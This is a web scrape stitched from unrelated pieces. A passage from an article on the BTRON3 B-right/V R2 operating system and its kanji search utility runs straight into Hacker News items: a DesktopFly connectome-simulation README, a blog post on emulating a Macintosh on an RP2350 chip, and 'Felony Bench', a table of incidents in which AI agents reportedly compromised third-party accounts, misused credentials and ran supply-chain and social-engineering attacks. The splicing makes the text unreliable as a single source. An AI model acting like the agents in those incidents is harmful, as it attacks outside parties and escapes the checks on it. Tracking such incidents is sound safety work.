Another thing that it is important to note--which no doubt is something that any Unicode folks reading this article would like to point out--is that the exact same Chinese character can appear on different planes in the TRON character set. That is absolutely correct, and it is in fact the reason that only a BTRON-specification computer can used used to discuss via e-mail the "unification" that the Unicode movement is undertaking, and it is why only a BTRON-specification computer can print out the entire Unicode specification. In other words, the lack of unification is not viewed as something bad, but rather as something that is good. There is, of course, the chance that the user will not be aware of what character plane he or she is dealing with. However, there are ways of checking. Hexadecimal savvy users merely have to check the language specifier codes given in the parentheses above, and ordinary users can pull a character into the Character Search Utility (see "New Utility for Searching for Kanji "below). Finally, since there are disagreements among specialists about what is and is not a "distinct Chinese character," a "thesaurus-like function" is also under development to give end users information to make their own judgments.

However, improvements to character-related functions in the B-right/V operating system that appeared with Release 2 are not limited to solely to the processing of kanji . As the following list of character-related improvements shows, proportional font compatibility and word wrap functions have been added. These functions are necessary for processing languages that are written with the Latin script. Moreover, there is also a multi-font function, which is necessary for doing high-quality word processing and desk-top publishing.

  • Multi- kanji , multilingual functions
  • Character Search Utility that can find kanji using elements, readings, and number of strokes
  • Multi-font function
  • Proportional font compatibility
  • Gray scale font function
  • Word wrap function
  • Function for displaying a list of candidates for kana -to- kanji conversion
  • Function for customizing kana -to- kanji operations

Among the kanji -related processing functions in the above list, the Character Search Utility, which will be described below, is essential to enable the end user to easily find his or her way through the large kanji character sets that come with B-right/V R2. But that utility is only necessary when the Japanese-language input system ( kana -to- kanji conversion) does not output he desired characters. Thus it is important to note that the functionality of the Japanese-language input system has also been improved. The list display function makes it easier to select among the conversion candidates in input dictionaries, and the customization function makes it possible for the end user to match the input functions to his or her typing habits and even allocate key assignments.

New Utility for Searching for Kanji

TRON Project Leader Ken Sakamura has been saying for years that you can not just stuff a large number of kanji into a personal computer system and hope the end user will make good use of them. To use such a computer system, a function that makes it possible for the user to easily find the necessary characters is also required. Thus it is only natural that along with B-right/V R2's impressive unabridged kanji character set comes an extremely easy to use Character Search Utility that can--according to various specified search criteria--spit out huge lists of kanji in a flash. Perhaps the most remarkable thing about this utility is that it makes it possible to search for kanji without even knowing the "radicals" according to which the kanji are listed in traditional dictionaries. This is truly a revolutionary development for students beginning their study of Japanese.

As can be seen in Fig. 1, the Character Search Utility is a panel that fills a small section of the screen of a personal computer. The utility has three functions--the tabs at the top of the panel--that allow the user to select among: (1) viewing character codes, (2) searching for characters, and (3) looking up information about a character. In the example in Fig. 1, the Search function has been selected, and two radicals (basic elements used for sorting characters in traditional kanji dictionaries) have been input in the Search Key box. From left to right, these are kuchi hen ('mouth') and takumi hen ('carpenter's square'). Among the output characters, which cover two pages as indicated at the bottom of the panel, a character comprised of only these two radicals has been found on the Mojikyo Script 1 plane, and that character along with its character code has been displayed in the upper right hand corner for easy viewing. Please note that the output characters are color coded (black for JIS levels 1 and 2, blue for JIS auxiliary kanji , and green for non-JIS [ Konjaku Mojikyo ] characters), and that the "Enlarged Display" option has been selected in the lower left hand corner.

In addition to radicals, it is also possible to input the katakana pronunciations of the above radicals. Likewise, a character incorporating the same two elements can be used for searching for another character with the same two elements. Other search methods are based on arithmetic-like expressions. In Fig. 2, for example, the expression " too ('climb') minus mame hen ('bean') radical has been input, which yields the hatsugashira radical. In Fig. 3, the expression " kuchi hen ('mouth') times four" yields a huge list of characters, one of which on the Mojikyo Script 1 plane consists of exactly four mouth radicals.

The Character Search Utility can also be used for obtaining information about a kanji that one does not know. In Fig. 4, the user has selected the Character Information function of the Character Search Utility and has dragged and dropped a character listed under the uo hen (the 'fish' radical) into it. The following information about the character, which is on the Mojikyo Script 2 plane, has been output:

Mojikyo No. 046382, Uo Radical 10 strokes, Basic Character
Kan , gigi , ken , kon , nayamu , hararago , yamu , yamoo , hwan

Conversely, by dragging and dropping kanji from the Character Information function of the Character Search Utility, the user can also easily create a custom kana -to- kanji conversion dictionary for converting Japanese syllabic data written with the hiragana syllabary in kanji . As is shown in Fig. 5, the user has entered two kanji and their readings ( wanizame 'shark', and hararago 'hard roe') into a text real object (text file) titled " Uo Hen no Kanji Jisho (" Uo Hen Kanji Dictionary"). When the real object is closed (green dotted line) and the virtual object (link to that real object) is dragged and dropped into the User Dictionary registration panel (red dotted line), the user can then input the rare kanji using the operating system's kana -to- kanji conversion function.

One thing that is not shown here--but which is exceedingly important to remember is possible!--is a user employing the Character Search Utility to read data from Web pages on the Internet. That is to say, critics of the TRON Project believe that an unabridged kanji character set is unnecessary, since no one knows as many as 80,000 kanji . Accordingly, not listing all of those kanji in a computer system only seems logical. However, if as shown above, a user can easily learn the pronunciations and readings of an unknown kanji simply by dragging and dropping it from a Web page into the Character Search Utility panel on the screen of his/her personal computer, then lack of knowledge tens of thousands of obscure kanji is no problem at all. This Character Search Utility can also serve as a dandy learning tool, both for native speakers of Japanese and foreigners studying the language.

New Internet and Peripheral Device Features

As was stated in the first section of this article, the BTRON-specification computer was originally conceived as a real-time human-machine interface for a hypernetwork--specifically, the "TRON Hypernetwork"--in which every kind of computer device is linked together. Accordingly, networking functions are central to the BTRON computing model, and they are under constant development, both at Personal Media Corporation and at the Sakamura Laboratory on the University of Tokyo campus. The latest networking functions that have been added to the B-right/V R2 are as follows:

  • Dial-up (PPP) function for connecting to the Internet
  • E-mail software (freeware) bundled with the operating system
  • File transfer function (ftp)
  • Network printer function

The PPP function allows BTRON users to connect to Internet service providers via dial-up (public telephone) lines using a modem. Since there are not many areas in which cable modem and/or Digital Subscriber Line (DSL) service is currently available in Japan, this is an extremely important function for people using BTRON from home. The e-mail software, which is freeware application developed at the Sakamura Laboratory, is a new type of e-mail application based on BTRON programming concepts. The application is made up of a group of miniature applications that are started up as necessary to handling outgoing and incoming e-mail.

The file transfer protocol (ftp) function is for the BTRON Basic Browser, which it enables to download download software from the Internet. The BTRON Basic Browser has been greatly improved compared to its first release. It is now possible to set fonts, and there are four Save options. The user can save a Web page as HTML, the Web page itself, or as a TAD (TRON Application Data-bus) text or graphic file, which are referred to as "real objects." When a Web page is saved as a TAD text real object, for example, the layout changes, but it is possible to click on a link and open up the Web page to see the latest update. This is an advanced feature that is not available to most people using a personal computer to surf the World Wide Web.

Supporting various types of peripheral equipment is the hallmark of a good operating system, and B-right/V R2 is squarely aimed at that target. The latest additions for peripheral equipment support are as follows:

Peripherals
  • Wheel mouse and three-button mouse compatibility (middle button used for double clicking)
  • Function for setting the screen to non-standard sizes (e.g., 1024 x 480 dots)
  • Improved performance accessing HDDs and CD-ROMs using a DMA function
  • Addition of compatible printers and network adapters

For those who are unfamiliar with a "wheel mouse," it is in fact a PC mouse with a tiny wheel between the two keys that are respectively used for clicking and displaying pop-up menus. The wheel is used to scroll through pages, thus alleviating the need for the user to push page up/down keys, click scroll arrows, or drag scroll boxes.

The Future: Improving on New Basic Functions

The biggest problem that westerners have in evaluating Japan and/or Japanese technologies is that they believe what the U.S. is doing is the yardstick, and what Japan is doing should be evaluated according to that yardstick. Thus based on this "technocentric reasoning," if there is a higher penetration of personal computers in the U.S. than in Japan, then Japan is behind the U.S. in becoming "computerized." This reasoning, unfortunately, leaves aside the fact that millions of Japanese use "personal word processors," which are little more than specialized personal computers. Likewise, if several times more personal computer users access the Internet in the U.S. than in Japan, then Japan is behind the U.S. in "connectivity." This reasoning, unfortunately, leaves aside the fact that wireless usage in Japan--which is not to mention facsimile usage--is far higher than in the U.S. Moreover, this reasoning also leaves aside the fact that the overwhelming majority of the Web sites on the Internet have only English-language content!

Accordingly, when western analysts look at the BTRON subproject, they view it using the U.S. market as a yardstick. Since there are more application software programs that run on Microsoft Corporation's MS Windows or Apple Computer Inc.'s Macintosh operating systems than on B-right/V R2, then B-right/V R2 will go nowhere in the Japanese market. Unfortunately, that argument overlooks the fact that B-right/V R2 is all about bringing "new basic functions to the market," basic functions that neither Microsoft nor Apple are interested in providing to the Japanese people. BTRON3-specification B-right/V R2 is the first and only personal computer operating system that allows the Japanese people to write any word in their language. The Japanese people have only been able to do this on a personal computer since November 12, 1999--the day B-right/V R2 went on sale! Moreover, the BTRON3-specification operating system is the only operating system on the market that has a hypertext-like filing system. When this is improved to incorporate the HyperText Transfer Protocols of the Internet, it will be the only personal computer operating system to seamlessly integrate a personal computer filing system and the structure of the World Wide Web.

And so, this is where the immediate future of the B-right/V R2 operating system lies--in bringing new basic functions to the market and consistently improving upon them. One of the first improvements to the B-right/V R2 operating system will have to do with the TRON Multilingual Environment, which in the present implementation only realizes two layers (Font and Script) of the four-layer hierarchy (Font, Script, Group, and Language). Thus one of the coming improvements to the B-right/V R2 operating system will be the expansion of the language specifier codes to include the Group and Language layers. In addition, other key parts of the multilingual environment, such as algorithms for expressing the various languages in writing, will have to be developed. One important element of this work will be expanding the functionality of the Basic Text Editor, which currently only accepts left-to-right horizontal character input. In the future, it will have to accept both vertically written (top-to-bottom) input and right-to-left horizontal character input. In addition, various sorting algorithms, such those for putting word lists in alphabetical order, will have to be developed to deal with input data in various national languages.

There is, however, one U.S. market yardstick that the BTRON-specification operating system should be measured against. That yardstick is following through on what one has promised to end users. If one promises end users something and then does not follow through on that promise, that party is guilty of producing what is known as "vaporware," software that's all talk and no reality. Well, the TRON Project promised the world the best multilingual operating system on the planet back in 1987 at the Second TRON Project Symposium, and 12 years later it came through on that promise when it unveiled the B-right/V R2 operating system. And so if anyone wants to know where the BTRON3-specification B-right/V R2 operating system is headed, the answer is "exactly where its developers say it's headed." So stay tuned for some extraordinary developments in the world of personal computing that are going to take place on top of this unique and highly flexible operating system. The BTRON subarchitecture has only just started to show its greatness.

B-right/V R2 Software Available on the World Wide Web

Although not many third party commercial software applications exist for the B-right/V R2 operating system at present, there is a considerable number of freeware/shareware programs available for downloading from the Internet. A large list of these, the majority of which are freeware, is maintained at the following URL.

http://www.top.or.jp/~jnetwork/BTRON/BtronSoft.htm

As of this writing, 64 entries are listed there, including the B-right/V R2 development environment from Personal Media Corporation. Since they are described in Japanese, let me give the categories and number of programs below.

Internet: 3
Graphics/music: 4
Text: 3
Utiltities/accessories: 13
Operation-related: 5
Desktop-related: 5
Input-related: 9
Dictionaries: 6
Development-related: 7
Games/novels: 5
Data (clip art, character enlarger): 2
Peripheral/hardware/system-related: 2

B-right/V R2 users should continually check this Web page, since new entries are constantly added.

There is also a list of B-right/V R2 freeware that is maintained at the Yahoo! Japan Web site. The URL is:

http://download.yahoo.co.jp/vector/other/tron/


Show HN: A desktop fly drawn to the scent of vibecode

Hacker News
github.com
2026-08-21 11:19:00
Comments...
Original Article

DesktopFly — a 3D fruit fly

DesktopFly 🪰

A 3D fruit fly that lives on your macOS desktop — driven by a live spiking simulation of the real FlyWire connectome. It walks across your windows, grooms, sleeps, and decides to flee your cursor with the same neurons a real fly uses.

Fork of DenisSergeevitch/desktop-fly — this one gives the fly a sense of smell for vibecode.

It scans your disk for agent markers ( AGENTS.md , CLAUDE.md , .cursor/rules , .kiro/steering and ~40 more) and turns anything on screen that leads to them into an odour source: an editor or terminal window with the project open, a row in the front Finder window, a folder icon on the desktop. An open project smells strongest, a closed icon weakest, and the reach of each grows with how much vibecode it holds — a hub of six marked repos is smelled across the whole screen, a single weak folder only from nearby. The steering neurons then walk the fly there, and when the smell is far the population wakes up enough to make it fly.

Live brain window: 23,210 real neuron positions, spikes flashing

The fly's brain window: 23,210 real neuron soma positions from FlyWire v783, with live spikes flashing at real neuron locations. The two glowing yellow markers are the Giant Fibers — the escape command neurons. Click any region to stimulate it.

What's real

  • 23,210 neuron soma positions (of 139,255 in FlyWire v783) render the rotating brain window, colored by super-class (FlyWire's coarse cell-type grouping).
  • A 668-neuron circuit with ~19,000 real synaptic connections (synapse counts, signed by neurotransmitter prediction) runs as a 1 kHz leaky-integrate-and-fire (LIF) simulation:
    • LC4 (104) + LPLC2 (210) looming-detector visual neurons
    • DNp01 / Giant Fiber (GF) (2) — the escape command neuron
    • DNa01 + DNa02 (4) steering neurons · DNp09 (2) forward walking
    • DNg11 (6) grooming · MDN (4) backward walking ("moonwalker")
    • DNp02/DNp04/DNp11 (6) escape-maneuver (wing) neurons
    • their 330 strongest partners, including ascending (proprioceptive) and sensory (wind) neurons
  • Escape is not scripted. Your cursor's approach becomes looming input to the real LC4/LPLC2 cells; the fly takes off only when the Giant Fiber actually spikes through its real synapses — ~1,200 synapses of feedforward inhibition push back, which is why slow approaches are tolerated and fast lunges trigger escape in ~4 ms, just like the real animal.

The body itself is procedural (FlyWire is a brain connectome — no body geometry exists), with a tripod gait, visible wing-beat, altitude-scaled flight, grooming, and sleep postures.

Installation

Requirements: macOS 13+ , Xcode Command Line Tools (Swift 5.9+). No permissions or entitlements needed — everything it senses (cursor, window frames, clicks-as-taps, thermal state) is permission-free.

git clone https://github.com/DenisSergeevitch/desktop-fly.git
cd desktop-fly
./build.sh
./DesktopFly

A 🪰 item appears in the menu bar; quit from there. The fly wanders your desktop on a transparent, click-through overlay — it never intercepts your mouse or keyboard.

Controls (menu bar 🪰)

item effect
Pause / Resume freeze the world
Show/Hide Brain toggle the live brain window
Escape Test (loom) inject a looming stimulus, watch the GF fire
Move to Next Display hop the fly across monitors (shown when >1 display)
Add / Remove Fly extra flies (only fly #1 carries the brain)
Scare Flies startle everyone

The brain window is interactive : hovering pauses the rotation; clicking a region "optogenetically" stimulates the ~60 nearest circuit neurons for 400 ms. The fly's reaction is whatever the real network does downstream — click the Giant Fiber and it escapes; click DNg11 and it grooms; click one side's DNa01/02 and it turns.

How real neurons drive the body

body behavior driven by
escape takeoff DNp01 giant fiber spike
walk vs. rest, walking speed DNp09 rate
steering DNa01+DNa02 left−right rate difference
grooming DNg11 rate
backward scoot MDN burst
nervous darting LC4/LPLC2 population rate
wing-beat effort, threat wing-raise DNp02/04/11 rate
spontaneous takeoff whole-population arousal

The loop also closes body→brain: the gait rhythm feeds the circuit's real ascending (proprioceptive) neurons in phase with the legs, and fast cursor motion stimulates its sensory (wind) partners.

Desktop ecology (all permission-free macOS senses)

  • Window terrain : window top edges are ledges — the fly lands on them, walks along them, rides a window you drag, and startles when one closes under its feet.
  • Window looms : a window appearing near the fly feeds the looming pathway; the circuit decides whether to flee your dialogs.
  • Clicks are substrate taps ; clicking next to the fly startles it through the wind→GF pathway. Typing is vibration (idle-time API — knows when keys were pressed, never which).
  • Circadian rhythm : dawn/dusk activity peaks, midday siesta, night quiescence. Sleep : idle at night → it sleeps, breathing slowly, with raised arousal threshold; it grooms after waking.
  • Temperature : flies are ectotherms — a hot Mac is a faster fly.

Regenerating the data

data/ ships with compact derived files. To rebuild them from the raw FlyWire Codex dumps (~60 MB download):

mkdir -p /tmp/flywire && cd /tmp/flywire
B=https://storage.googleapis.com/flywire-data/codex/data/fafb/783
curl -O "$B/classification.csv.gz" -O "$B/coordinates.csv.gz" \
     -O "$B/connections.csv.gz" -O "$B/consolidated_cell_types.csv.gz"
cd - && python3 etl.py /tmp/flywire

Diagnostics

./DesktopFly --simtest        # circuit invariants: GF silent at rest, 4 ms loom latency, ...
./DesktopFly --behaviortest   # 17 end-to-end checks: stimulate neurons -> body reacts
./DesktopFly --snapshot f.png  # offscreen fly render
./DesktopFly --brainshot b.png # offscreen brain render

What's modeled vs. measured

Honesty section: the connectome gives wiring, not physiology. The LIF dynamics, neurotransmitter signs (ACh+, GABA−, Glu−), the gap-junction boost on LC→GF and wind→GF (documented electrical coupling), synaptic delays, and the sensory transduction (cursor → looming value) are standard modeling choices layered on the real graph. Everything downstream of the sensory neurons — who connects to whom, and how strongly — is FlyWire data.

License & citation

Code is MIT. The files in data/ are derived from FlyWire (FAFB v783) and are CC BY-NC 4.0 — see data/DATA_LICENSE.md . If you use this, cite:

I ran Photoshop on a £0.60 computer chip

Hacker News
pointinthecloud.com
2026-08-21 11:17:47
Comments...
Original Article

I've always had a fascination with simpler and low power computing. This lead me to run Photoshop on a 60 pence computer chip and it amazes me that this is possible.

PXL_20260818_145443071-1.jpg Photo: A monochrome screen showing Adobe photoshop with a simple drawing running on an emulated Apple Macintosh

OK; this is hardly editing a full colour, highly detailed photograph but at least my "self portrait" will obviously set the illustration world on fire.

This was done by emulating an old Apple Mac on a Raspberry Pi RP2350 chip, which can be purchased for around 60p . Add the various extra parts needed and say roughly that a mid 1990s equivalent computer can be built today for a few pounds in one-off quantities. Call it the price of coffee and a cake in a European café today.

Adjusted for inflation, a roughly equivalent Macintosh SE to the one being emulated would cost £9554 today. (I found the pricing from a review in this 1989 Personal Computer World magazine online and used the Bank of England inflation calculator to convert the £3495 selling price.)

Whichever way you estimate: Computers are vastly cheaper nowadays and this computer is much cheaper than a modern PC.

The same emulated Mac can run other software - e.g. the WordPerfect word processor which was popular at the time. I found this surprisingly pleasant to type and concentrate with: It had an uncluttered interface and was distraction free when compared to my modern Macbook with its notifications and busy displays.

PXL_20260818_150820965.jpg Photo: WordPerfect 1.0 on an emulated Apple Macintosh

Sometimes experimenting with things can spark my imagination and create new ideas. Simple and low power computers appeal to me, so it's interesting to ask "what is the minimal viable modern computer". A 60p chip is definitely not the cheapest possible, but it is certainly has an impressive "computing power to price" ratio.

Assume this is equivalent to a mid 1990s computer (it has two 150MHz processors, and easily adds 4Mb RAM and gigabytes of storage) . This was time when people made presentations, wrote documents, ran spreadsheets, sent emails and browsed (an admittedly simpler) web - not dissimilar to a lot of our computer use today.

This provokes questions: How to provide computing for those who need to or want to spend their resources elsewhere? What could a super thin, super lightweight laptop look like? Perhaps it could have an e-paper screen to be calm on the eyes. Could it be solar powered? Could it have a calmer, less cluttered and less distracting interface than modern operating systems but still provide similar functionality? Could it be long lasting with reliable software and not have to be thrown into landfill every few years? Does this have enough processing power and quality to become part of a personal music playing or streaming system? Can this help reduce the addictiveness of modern devices and stop "doom-scrolling"?

The relative simplicity of this chip compared to more powerful ones (and the software limitations this would imply) means that the whole computer is (with effort by the right people) relatively understandable, and everything is documented, and the power consumption is lower.

If I had this computer as my phone or laptop what would I miss? If I could read web pages and write and listen to music I think this would do a lot of what I want. I'd want some kind of messaging and probably maps. I think this can probably play music. It could display maps but maybe in a simpler "A to Z atlas" style of flipping between pages. But maybe this trade-off vs power use could be useful in remote places with no smartphone charging. Maybe cycle tourists would appreciate such a thing.

It could (slowly) take and view grainy pictures, but videos and good pictures would be difficult. Saving videos to watch later on a display at home is probably a healthier way of consuming them than distracting myself with them, and maybe carrying a separate digital camera wouldn't be a sacrifice.

The modern web is sadly too complex to be viewable on such a device, but a bridging solution would be to have conversion software running on larger computers. A browser for something like Gemini would be possible. We could still have a WiFi chip on this, but the complexity of modern 4G and 5G mobile networks could be a challenge. Adafruit has An IRC messaging client demonstration running on this chip.

Maybe I'm being naive and nostalgic for a past that never existed. But I think it is important to think of the trade-offs we make with modern computers and maybe playing with some of these things can help us make computers which are kinder, as discussed by James in this blog post after our discussion. There is overlap here with some of the Solarpunk and Permacomputing communities. Having privacy respecting solar powered computers that people can tinker and mold to their own needs feels to me like an exciting, positive future.

It's interesting to imagine an alternative world where these modern chips had arrived much earlier in time, bringing un-imaginable (for then) amounts of computing power and memory for little money. How would computers have evolved and what would they look like today?

Felony Bench

Hacker News
www.felonybench.com
2026-08-21 11:17:04
Comments...
Original Article

A benchmark you really don't want models to be saturated with.

Learn more

Score

↖ Most illegal Least illegal ↘

Scores indicate count of illegal activity. Higher is... you decide.

Company Felonies Description Date Source
Anthropic 1 Exploited auth failures in an API to cancel other people's gym classes ABC Australia
Meta 1 Compromise of an internal account at one company The Information
Anthropic 4 Unauthorized use of GitHub credentials; Dependabot supply-chain attack; social engineering email campaign; public exposure of a malicious DNS server AISI
OpenAI 2 Unauthorized use of GitHub credentials; public exposure of a malicious DNS server OpenAI AISI
OpenAI 1 Compromise of an internal account from a misconfigured CTF evaluation OpenAI
OpenAI 4 Compromise of internal accounts at four companies as part of the Hugging Face incident OpenAI Reuters
Anthropic 3 Compromise of internal accounts at three companies Anthropic
OpenAI 1 Compromise of Hugging Face during a model evaluation OpenAI

Methodology

Felony Bench counts unique instances where AI agents affect third-party entities. Escaping a sandbox alone does not constitute a counted incident. It is for these reasons that Frontier Security's Kimi K3 incident and Alibaba's ROME incident are not counted.